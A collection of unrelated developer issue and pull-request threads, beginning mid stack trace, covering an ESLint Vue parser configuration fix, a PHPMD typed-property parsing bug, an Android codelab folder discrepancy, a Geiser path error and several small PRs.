    at create (/Users/drjume/Desktop/falconDev/my-falcondev/node_modules/.pnpm/@typescript-eslint+eslint-plugin@5.27.1_aq7uryhocdbvbqum33pitcm3y4/node_modules/@typescript-eslint/eslint-plugin/dist/rules/dot-notation.js:85:81)
    at Object.create (/Users/drjume/Desktop/falconDev/my-falcondev/node_modules/.pnpm/@typescript-eslint+utils@5.27.1_ud6rd4xtew5bv4yhvkvu24pzm4/node_modules/@typescript-eslint/utils/dist/eslint-utils/RuleCreator.js:42:20)
    at createRuleListeners (/Users/drjume/Desktop/falconDev/my-falcondev/node_modules/.pnpm/eslint@8.17.0/node_modules/eslint/lib/linter/linter.js:922:21)
    at /Users/drjume/Desktop/falconDev/my-falcondev/node_modules/.pnpm/eslint@8.17.0/node_modules/eslint/lib/linter/linter.js:1104:31
    at Array.forEach (<anonymous>)
    at runRules (/Users/drjume/Desktop/falconDev/my-falcondev/node_modules/.pnpm/eslint@8.17.0/node_modules/eslint/lib/linter/linter.js:1041:34)
    at Linter._verifyWithoutProcessors (/Users/drjume/Desktop/falconDev/my-falcondev/node_modules/.pnpm/eslint@8.17.0/node_modules/eslint/lib/linter/linter.js:1389:31)
    at /Users/drjume/Desktop/falconDev/my-falcondev/node_modules/.pnpm/eslint@8.17.0/node_modules/eslint/lib/linter/linter.js:1798:29
    at Array.map (<anonymous>)

When adding an empty <script setup lang="ts"></script> the error is not shown anymore when running eslint.
The issue seems to be, that the parserServices or a property of it is missing when there is no <script> in a Vue SFC:
https://github.com/typescript-eslint/typescript-eslint/blob/dc1f9309cf04aa7314e758980ac687558482f47f/packages/utils/src/eslint-utils/getParserServices.ts#L19-L26

https://github.com/typescript-eslint/typescript-eslint/blob/main/packages/utils/src/eslint-utils/getParserServices.ts#L19-L26

I checked the error and
context.parserServices.program,
context.parserServices.esTreeNodeToTSNodeMap, and
context.parserServices.tsNodeToESTreeNodeMap
are undefined without <script> in a Vue SFC.

Would it be possible to return an "empty" / no-op program in parserServices?

I found the cause of the issue:
Because I set added following config to the eslint parserOptions:
parserOptions: {
    parser: {
        js: 'espree',
        jsx: 'espree',

        ts: require.resolve('@typescript-eslint/parser'),
        tsx: require.resolve('@typescript-eslint/parser'),
    }
}

and vue-eslint-parser defaults to the js parser when no <script>/lang is found, https://github.com/vuejs/vue-eslint-parser/blob/806a38c291c802749e6322d80cce2678549058bb/src/common/parser-options.ts#L75
vue-eslint-parser used espree as the scriptParser.
This caused the parserServices.program and other TS parserServices to be missing for @typescript-eslint/eslint-plugin rules, which gave this error.

By setting the parser to parser: '@typescript-eslint/parser', it is always used as the scriptParser, giving the rules in @typescript-eslint/recommended-requiring-type-checking the needed TS parserServices.

It would be awesome to be able to filter .vue with lang="ts" in ESLint overrides.
Currently, it seems to be not possible.
But if there was an ESLint Processor for Vue, it would be possible to filter for the <script> lang (or even <template>?):
https://eslint.org/docs/user-guide/configuring/plugins#specifying-processor.
Would something like this be possible?:
{
    plugin: 'vue',
    processor: 'vue/sfc-processor',
    parser: 'vue-eslint-parser', // why not 'vue/parser'?
    overrides: [
        {
            files: ['*.vue'],
            rules: {
                // ...
            }
        },
        {
            files: ['**/*.vue/*.ts'],
            parser: '@typescript-eslint/parser',
            extends: [
                'plugin:@typescript-eslint/recommended',
                'plugin:@typescript-eslint/recommended-requiring-type-checking',
            ]
        }
    ]
}

Thank you for posting issue.

Would something like this be possible?:

I think it's technically impossible. TypeScript cannot provide type information for virtual filenames.

We recommend using typescript in all your vue files if you want to do type checking.

I fixed my error by setting the parserOptions.parser inside the .eslintrc.js:
parserOptions: {
  parser: '@typescript-eslint/parser'
},


Replace owner reference between SPIAccessBinding and secrets with finalizer

Signed-off-by: Max Shaposhnyk<EMAIL_ADDRESS>What does this PR do?
As the owner references are completely ignored in KCP, it must be replaced with finalizer.
Screenshot/screencast of this PR

What issues does this PR fix or reference?
https://issues.redhat.com/browse/SVPI-192
How to test this PR?

It does not change behavior, only the implementation way.
Build own image, or use mshaposh/spio:latest
Create binding, inject the token, then remove binding. Secret must be deleted as well.

Due to some unclear situation with secrets on KCP service, PR cannot be fully validated on KCP, but it is checked that finalizer  is called on SPIAccessBinding deletion, so we can assume it should work after secrets issue will be fixed (https://issues.redhat.com/browse/SVPI-203 )


Add mouse over and mouse leave command

Add two command support, and a example to use.
The example maybe there is some code to be optimized.
If there is some thing I need to change the code, please let me know.

Thanks for contributing @aquarius-wing!
I don't think we should include this in the playground, just because it's a fairly rare use case. Plus, the playground is has to work on mobile, which doesn't support mouse events.
To achieve what you want, a simpler solution involves omiting the whole command system altogether and just using $getNearestNodeFromDOMNode in an event listener on the root element. Something like the below:
rootElement.addEventListener(evemt => {
    editor.read(() => {
        $getNearestNodeFromDOMNode(event)
     })
})

Thanks for reply, so if I delete the code in playground, my pull request can be accepted?

Emmm, actually, I use these commands to develop a block tool, or row tool you can call it.
Just like notions.so website, so I must need to know which element node the user mouse over, and then show the block tool to help people change the style of element node. Finnally when user's mouse went out, I will hide the block tool.

Emmm, actually, I use these commands to develop a block tool, or row tool you can call it.
Just like notions.so website, so I must need to know which element node the user mouse over, and then show the block tool to help people change the style of element node. Finnally when user's mouse went out, I will hide the block tool.

Got it - it is possible to just do that the way John suggested? You can listen for the events you're interested in an event listener on the root element, then find the nearest LexicalNode using the utility function he provided?

Thank you! I know how to develop my block tool


Update direct-routing-translate-numbers.md

‘StripPlus1’ is missing

@JohanFreelancer9 Copy editing is needed for this PR. Thanks.

@CarolynRowe PR has been copyedited and is ready for final review, could you please check and merge? Thanks!


how to test angular js md-datepicker in protractor

Hi all !
i am new to testing in angular JS and using protractor. i have implemented md-datepicker . i count find any link based on the md-datepicker.
 <md-datepicker ng-model="endDate" name="endDate"           md-placeholder="End date" ></md-datepicker>

So, i know that a bit late, but I use those helpers for pick date in Angular 2+ in Angular Material datepicker.

clickElement - click on some el
setDateValue - set value for datepicker

https://gist.github.com/aksenovdev/8282874676b678733687e7b5c68d6666


added footer

New footer design for index.html

Try using this https://materializecss.com/footer.html

Means I have to change footer?

new footer @anushbhatia as you suggested

add relevant content add white colour to it

Please fix the merge conflict

done @smaranjitghose


Android Compose Change the App Icon

Name of the Codelab or Codelab URL
https://developer.android.com/codelabs/basic-android-kotlin-compose-training-change-app-icon?continue=https%3A%2F%2Fdeveloper.android.com%2Fcourses%2Fpathways%2Fandroid-basics-compose-unit-3-pathway-2%23codelab-https%3A%2F%2Fdeveloper.android.com%2Fcodelabs%2Fbasic-android-kotlin-compose-training-change-app-icon#3
Describe the problem
The instruction is to "Go back to the Project view and locate the background and foreground drawables: res > drawable > ic_launcher_background.xml and drawable-v26 > ic_launcher_foreground.xml." However, in Android Studio Dolphin, there is no drawable-v26 directory. The only ic_launcher_foreground.xml file is in the drawable-v24 directory. I did use the search function.
In which lesson and step of the codelab can this issue be found?
Lesson number + step number.
4. Adaptive Icons
How to reproduce?
What are the exact steps to reproduce the problem?
Just follow the instructions
Versions

What version of Android Studio are you using?
Android Studio Dolphin | 2021.3.1 Patch 1
Build #AI-213.7172.25.2113.9123335, built on September 30, 2022
Runtime version: 11.0.13+0-b1751.21-8125866 amd64
VM: OpenJDK 64-Bit Server VM by JetBrains s.r.o.
Windows 10 10.0
GC: G1 Young Generation, G1 Old Generation
Memory: 1280M
Cores: 8
Registry:
external.system.auto.import.disabled=true
ide.text.editor.with.preview.show.floating.toolbar=false

What API level are you targeting?
33

Additional information
Add any other context about the problem here.
codelab: basic-android-compose-training-add-scrollable-list

I was curious about this too.
I looked up a few things and made a guess.
// VectorDrawable doc
https://developer.android.com/reference/android/graphics/drawable/VectorDrawable
Looking at the above document,
To use VectorDrawable, api21 or higher is required.
And for the 'android:fillColor' option to be applied in ic_launcher_background.xml, it seems to be api24
It is assumed that the folder automatically created by the IDE was drawable-v21 or drawable-24.
So maybe there was an auto-generated drawable-v24,
In the codelab description,
the application of the adaptive icon is v26,
so I guess it was explained in v26.

Hi @luovahulluus @hhyeok1026
Thank you for writing in about this issue and your steps to troubleshoot it.
The lesson content has been updated to reflect the steps while using the latest stable version of Android Studio so this issue has been addressed.
If you find any other issues, please do not hesitate to let us know.
Hope you are enjoying the course!
Regards.


Bug try to make test_agg_state stable

Proposed changes
try to make test_agg_state stable
Further comments
If this is a relatively large or complex change, kick off the discussion at<EMAIL_ADDRESS>by explaining why you chose the solution you did and what alternatives you considered, etc...

run buildall

run buildall


PHP 7.4 typed fields still not supported

PHPMD version: 7.4.2
PHP Version: 7.4.2
Package version: 2.8.1
Installation type: composer
Operating System / Distribution & Version: Linux 4.19.76

Current Behavior
 Unexpected token:  array for such field
protected array $field = [];
And unsupported return type in arrow function
$t = array_map(fn(int $item): int => $item * 2, [1, 2, 3]);
Expected Behavior
Expected success run for md command for such code
class Foo
{
    public ?int $num;
    private string $str;

    public function __construct()
    {
        array_map(fn(int $item): int => $item * 2, [1, 2, 3]);
    }
}

Steps To Reproduce:
Use typed fields
Use optional typed fields - private ?string $test;
Use return type hint in arrow function

Please try to require "pdepend/pdepend": "dev-master"
The next version will include this fix:
https://github.com/pdepend/pdepend/pull/455

@kylekatarnls Thanks it works for me.

Hello @kylekatarnls, I'm also facing this issue, even with your suggestion.
I have phpmd version ^2.8.2 and latest dev-master of pdepend installed (commit 1aa2302).
The following code fails with Unexpected token: :, line: 6, col: 41, file: \/Users\/r4c00n\/phpmdbug.php.
<?php
declare(strict_types=1);

class Demo {
    public function foo(): array {
        return array_filter(fn(int $num): bool => $num > 5, [1, 2, 3, 4, 5, 6]);
    }
}

My phpmd.xml looks like this
<?xml version="1.0"?>
<ruleset name="Demo Ruleset"
         xmlns="http://pmd.sf.net/ruleset/1.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://pmd.sf.net/ruleset/1.0.0
                     http://pmd.sf.net/ruleset_xml_schema.xsd"
         xsi:noNamespaceSchemaLocation="
                     http://pmd.sf.net/ruleset_xml_schema.xsd">
    <description>
        PhpMd ruleset for bug demo
    </description>

    <rule ref="rulesets/cleancode.xml">
        <exclude name="StaticAccess"/>
    </rule>
    <rule ref="rulesets/codesize.xml"/>
    <rule ref="rulesets/unusedcode.xml"/>
    <rule ref="rulesets/controversial.xml/Superglobals"/>
    <rule ref="rulesets/design.xml"/>
</ruleset>

Line 6 in your example is the arrow function.
Your example is not about typed fields but about arrow function return type. Could you open a dedicated issue for that please?
Thank you.

I see the original issue also mentioned arrow functions. So I will rather change the title of the issue.

Yes, I know. The original issue here also reports this "And unsupported return type in arrow function"
But I can also open a new issue, no problem :)

Hey, could it be possible to bump the current pdepend version from 2.7.1 to 2.8.0 and release a new version of phpmd in order to fix this bug which has been present since PHP 7.4 came out, please :) ?


reduce the number of alignment

If the tree file is provided, the pairwise alignment should be reductant?
I think reducing the number of alignment with given tree file is better.

Hi @444thLiao,
thanks for reporting this issue. I'm not sure if I fully understand your question so here is a quick overview of how the tree file is handled in AliTV:
The tree when passed to alitv.pl is converted into a json structure suitable for visualization with the AliTV web interface. It is not used to filter or sort the genomes. When genomes are not ordered concordant with the tree it is hidden (and a message is displayed instead).
Some questions:

Is your suggestion for the perl stage (at the point where alignments are calculated) or at the javascript stage (at the point where alignments are visualized)?
do you suggest to remove/hide genomes not present in the tree?
do you suggest automatically ordering genomes in a way concordant with the tree?

Best,
Markus

Thank you for your quick reply @iimog ,
Here are my understanding and supplemental suggestions.
For my point of view, the tree provided is majorly used to sort these genomes with user-defined distance or phylogenetic relationship. So for the first question, I think it would be nice to do the modification under perl stage.
There are several reasons:
for me, I have 140+ genomes need to do the alignment and visualization. Of course, I preferred linear layout instead of circular layout. Now, pairwise alignment is time wasted for me.
And reducing the data within link under the json also speed up the processing time for html
For the remained questions, I suggest hiding instead of removing. I think ordering genomes which are consistent with the tree should be more favourable for me.
Best regards,
tianhua


run-geiser gives compile error in Aquamacs

I am using Aquamacs 3.3. When I want to run the REPL, I get the following error:
clang: error: no such file or directory: '/Users/user/Library/Preferences/Aquamacs'
;      clang: error: no such file or directory: 'Emacs/Packages/elpa/geiser-20161126.106/scheme/mit/geiser/emacs.c'
;      clang: error: no input files

However, the REPL seems to work just fine:
2 error> (+ 1 1)

;Value: 2

Any idea why I'm getting those errors?

I think the problem is that there is space in the file name.

we are moving the project to gitlab. so please, follow-up there as needed. sorry for the inconvenience!
http://gitlab.com/jaor/geiser/issues/197